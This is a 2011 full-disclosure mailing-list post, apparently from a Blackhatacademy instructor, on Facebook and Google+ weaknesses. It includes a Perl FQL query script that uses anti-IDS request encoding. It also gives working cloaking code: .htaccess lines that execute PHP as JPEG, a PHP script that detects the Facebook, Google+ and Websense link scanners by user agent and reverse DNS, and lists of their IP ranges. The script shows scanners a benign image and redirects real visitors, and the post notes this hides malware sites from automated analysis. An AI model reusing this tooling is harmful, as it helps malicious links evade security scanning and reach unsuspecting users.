Blackhatacademy has asked me to post this to the mailing list as im one
of the instructors there, I did not personally develop the exploit,
please direct questions regarding it to hatter on irc.blackhatacademy.org


  Overview


Over the years, facebook has been vulnerable to numerous web
exploitation
<http://www.blackhatacademy.org/security101/index.php?title=Web_Exploitation>
techniques, such as XSS
<http://www.blackhatacademy.org/security101/index.php?title=XSS>, FQL
injection (similar to SQL injection
<http://www.blackhatacademy.org/security101/index.php?title=SQL_injection>),
application worms, and redirect protection bypass. Because they continue
to attempt to write their own language implementations, they are
repeatedly vulnerable. Security by obscurity doesn't work if they
document their own markup language
<http://developers.facebook.com/docs/reference/fbml/> and query language
<http://developers.facebook.com/docs/reference/fql/> for attackers.


  History

XSS <http://www.blackhatacademy.org/security101/index.php?title=XSS> in
facebook first started out as a flaw in their fbml
<http://developers.facebook.com/docs/reference/fbml/> markup and
subsequently became evident in a variety of facebook applications.
Applications
<http://www.blackhatacademy.org/security101/index.php?title=Applications> also
exposed users to third party attacks that could affect a user's web
browser or force actions as the affected user. Now there is a way to
bypass content restrictions on links and posts put on a user's public
wall. Facebook was notified of these vulnerabilities
<http://www.blackhatacademy.org/security101/index.php?title=Vulnerability>
on July 31st, 2011. To date (October 4, 2011) Facebook has yet to do
anything about this; demonstrating a deplorable lack of reasonable care
for all of their users. For this reason, the vulnerability
<http://www.blackhatacademy.org/security101/index.php?title=Vulnerability>
proof of concept code is being brought to light. Facebook has only
recently purchased websense to attempt to push this vulnerability under
the rug, however the exploit still works.


  FQL

Simply requiring an API key for privileged queries does not protect
facebook from people arbitrarily obtaining one. Facebook was even so
kind as to give a reference of tables and columns in the documentation
for FQL. To access Facebook's FQL API, it takes only a well-formed HTTP
request with an embedded API key to return a valid XML object. FQL Does
not allow the use of JOINS, however it is not needed as everything is
thoroughly documented. Attackers can misuse this during the creation of
a malicious facebook application or directly on the FQL development api
page for information gathering. The implementation below uses
LibWhisker2 for IDS evasion via session splicing.

#!/usr/bin/perl
use warnings;
use XML::Simple;
use LW2;
use Getopt::Std;
my %opts;
getopts('q:',\%opts);
my $query = $opts{q} if defined $opts{q};
$query = "SELECT pic_big FROM user WHERE uid=6666666" unless defined $opts{q};
my $ref = fqlQuery($query);
foreach my $parent (sort keys %{$ref}) {
    if (%{$ref->{$parent}}) {
        print "$parent: \n";
        foreach my $key (sort keys %{$ref->{$parent}}) {
            if (%{$ref->{$parent}->{$key}}) { 
           print "\t$key : \n";
               foreach my $mojo (sort keys %{$ref->{$parent}->{$key}}) {
                   print "\t\t$mojo : ";
                   print $ref->{$parent}->{$key}->{$mojo};
           print "\n";
           }
            } else {   print "\t$key : ";
               print $ref->{$parent}->{$key};
               print "\n";
            }
        }
    } else {
        print "$parent : " . $ref->{$parent} . "\n";
    }
}
sub fqlQuery {
    my $q = shift;
    $q =~ s/ /%20/g;
    my $link = "http://api.facebook.com/method/fql.query?query=$q";
    my $text = download($link,"api.facebook.com");
    my $ref  = XMLin($text);
    return($ref);
}
sub download
{
    my $uri = shift;
    my $try = 5;
    my $host = shift;
    my %request;
    my %response;
    LW2::http_init_request(\%request);
    $request{'whisker'}->{'method'} = "GET";
    $request{'whisker'}->{'host'} = $host;
    $request{'whisker'}->{'uri'} = $uri;
    $request{'whisker'}->{'encode_anti_ids'} = 9;
    $request{'whisker'}->{'user-agent'} = "";
    LW2::http_fixup_request(\%request);
    if(LW2::http_do_request(\%request, \%response)) {
        if($try < 5) {
            print "Failed to fetch $uri on try $try. Retrying...\n";
            return undef if(!download($uri, $try++));
        }
        print "Failed to fetch $uri.\n";
        return undef;
    } else {
        return ($response{'whisker'}->{'data'}, $response{'whisker'}->{'data'});
    }
}


  Content Forgery

While most major sites that allow link submission are vulnerable to this
method, sites including websense, google+, and facebook make the
requests easily identifiable. These sites send an initial request to the
link in order to store a mirror thumbnail of the image, or a snapshot of
the website being linked to. In doing so, many use a custom user agent,
or have IP addresses
<http://www.blackhatacademy.org/security101/index.php?title=IP_address>
that resolve to a consistant domain name. Facebook IP addresses
<http://www.blackhatacademy.org/security101/index.php?title=IP_address>
resolve to tfbnw.net, also set a custom user agent of
"facebookexternalhit". Google+ (Also notified Jul. 31st and guilty of
reasonable care) again follows suit and utilizes "Feedfetcher-Google" as
their user agent. Knowing this, we can easily filter out requests coming
from these websites, and offer up a legitimate image to be displayed on
their site, while redirecting or displaying a completely different page
to anyone that follows the links. Facebook's recent partnership with
websense is laughable, due to websense's "ACE" security scanner that is
just as easily identified, by using gethostbyaddr in order to resolve
the IP back to websense.com. Utilizing this technique, would allow an
overwhelming number of malware sites to remain undetected to their
automatic site analysis. Other places like digg.com either spoof a user
agent to look like normal traffic, or forward the client's user agent,
which makes it more difficult to catch every one of their requests.
Fortunately, digg.com only requests the link once, prior to submitting
the link to the world. This allows attackers to serve up a legitimate
image until that initial request clears our server, and then replace it
with a less than honest file. We have affectionately named this
vulnerability class Cross-Site Content Forgery
<http://www.blackhatacademy.org/security101/index.php?title=XSCF>.


    Screenshots & Video

 Facebook <http://i.imgur.com/rJf7G.jpg> Google+ <http://i.imgur.com/GSL2s.jpg> Youtube video of PoC for both <http://www.youtube.com/watch?v=w6trQc0vWH4>


    CIDR

CIDR ranges can also be checked as well. A list of netranges is below,
followed by an htaccess and PoC code for a jpeg file.


      Websense

*ASN 13448*

 86.111.216.0/21
 204.15.64.0/21
 208.80.192.0/21
 208.87.232.0/21
 192.132.210.0/24
 206.169.148.0/24
 67.117.201.128/28
 80.69.16.112/29
 2605:7000::/32
 2620:0:C0::/48


      Facebook

*ASN 32934/54115*

 173.252.64.0/18
 69.171.224.0/19
 66.220.144.0/20
 69.63.176.0/20
 31.13.24.0/21
 74.119.76.0/22
 65.204.104.128/28
 66.92.180.48/28
 212.187.194.160/28
 212.187.196.96/28
 67.200.105.48/29
 66.93.78.176/29
 66.199.37.136/29
 2620:0:1C00::/48


    Proof of Concept

In order to exploit this flaw, JPG images will need to have a custom
mimetype returned. This can be accomplished via the following .htaccess
directives:

 AddType x-httpd-php .jpg
 AddHandler application/x-httpd-php .jpg

<?php
# User agent checking methods
$fb_string = '/facebookexternal/i';                # facebookexternal shows in the facebook content scanner's user agent
$gplus_string = '/Feedfetcher-Google/i';       # googleplus shows up in the user agent as well.
# rDNS Lookup Methods
$host_websense = '/websense.com/i';         # Checking the rdns for websense filters
$host_fb = '/tfbnw.net/i';                              # Checking the rdns for tfbnw.net - facebook host
# Load the request properties
$u_agent = $_SERVER['HTTP_USER_AGENT'];
$u_ref     = $_SERVER['HTTP_REFERER'];
$u_host  = gethostbyaddr($_SERVER['REMOTE_ADDR']);
# If we're coming from or facebook or websense or google plus, 
if (preg_match($host_fb,$u_host) || preg_match($host_websense,$u_host) || preg_match($fb_string,$u_agent) || preg_match($gplus_string,$u_agent)) {
    # Display an image
    header('Content-Type: image/jpeg');
    @readfile ('/var/www/localhost/cute_kitten.jpeg');
} else {
    # Rickroll this unsuspecting user
    header('Location: http://www.youtube.com/watch?v=dQw4w9WgXcQ&ob=av3e');
}
?>